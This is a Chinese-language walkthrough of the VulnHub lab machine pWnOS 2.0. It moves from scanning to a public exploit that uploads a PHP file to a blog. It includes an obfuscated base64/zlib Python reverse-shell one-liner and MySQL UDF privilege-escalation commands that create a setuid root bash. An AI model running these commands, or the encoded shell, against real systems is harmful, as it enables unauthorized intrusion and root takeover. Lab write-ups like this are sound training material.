PWNOS2.0
靶机搭建
下载链接
https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z
注意下载后kali和靶机都要是nat模式
nat的网络配置如下图

信息搜集
主机发现
扫描C段,发现100这台主机

端口扫描
快速TCP扫描
开放了22和80两个端口

常见端口的UDP扫描

详细TCP扫描

漏洞脚本扫描
扫到了blog,看样子还是一个博客网站


漏洞探测
Web渗透
访问80端口,有注册登录入口,先扫一下吧

sudo gobuster dir -u http://10.10.10.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x
html,txt,php

进入blog,这好像是一个内部博客,有登录页面

在源码中找到了博客名,搜一下有没有漏洞

搜到了好多,找版本是0.4的,1581可以rce下载下来试试看

并没有成功


获得立足点
再试一下前面那个1191,用法如下图

执行报错了

这个模块是 Perl 用于实现 switch/case 语法的模块,脚本第 146 行调用了它,但系统里没有
解决办法
# 1. 先安装cpan工具(如果没装)
sudo apt install -y cpanminus
# 2. 安装Switch模块
sudo cpanm Switch
perl 1191.pl -h http://10.10.10.100/blog/ -e 2
看着像加盐哈希,不太好破解

再试试上传php文件
perl 1191.pl -h http://10.10.10.100/blog -e 1
访问http://10.10.10.100/blog/images/可以看到上传成功了

成功执行ls,写入反弹shell

我一开始想用bash -c来弹,但是没成功,发现靶机上有python,那就用python来写反弹shell
python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqVkMsKwjAQRX8lZJWAxLYrRbIoUkFEBdt9sTHSYs2ETvr/2odEsutlYJjLmQfTvC10jiCol3aEkBUZhX1lO1Aa0XuAY9qRn2pAJ2kciTmSDQ2IYbbcfhX4KKeFYkpsrtJDebxkxd8Zk59f96cyL25ZeubhJKHAGK0cY8M5vnVYzUMaUDx6mzAUz6bVBhj3DdESOF4CJyFspf+vUPe2ZXRdNWaNNeUfpS1g1A==')[0])))"


升级一下终端

提权
方法一:密码复用
到web目录下看看有没有重要文件

在mysqli_connect.php中找到了数据库root的密码

尝试登录ssh,密码错误

继续找吧,看看还有没有和mysql相关的文件

我注意到了这个同名文件,在var目录下

又找到一个密码,继续尝试登录

登录成功,拿到root

方法二:UDF提权
UDF全称是user defined function用户自定义函数
前提:
- 有Mysql用户账号,要有create,insert,delete权限,最好是root账号
- secure_file_priv权限值为空(不是null哦)
漏洞脚本是1518.c,可以改名为raptor_udf2.c方便利用
-g:生成调试信息
-c:编译但不进行链接
-fPIC:生成位置无关代码,可以在内存中的任意位置执行
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
登录到mysql中先验证secure_file_priv是否为空,并查找plugin目录
show variables like '%secure_file_priv%';
show variables like '%plugin%';

接下来就是创建自定义函数,注意路径

成功创建do_system

select do_system('cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash');
退出mysql,执行
./tmp/rootbash -p


浙公网安备 33010602011771号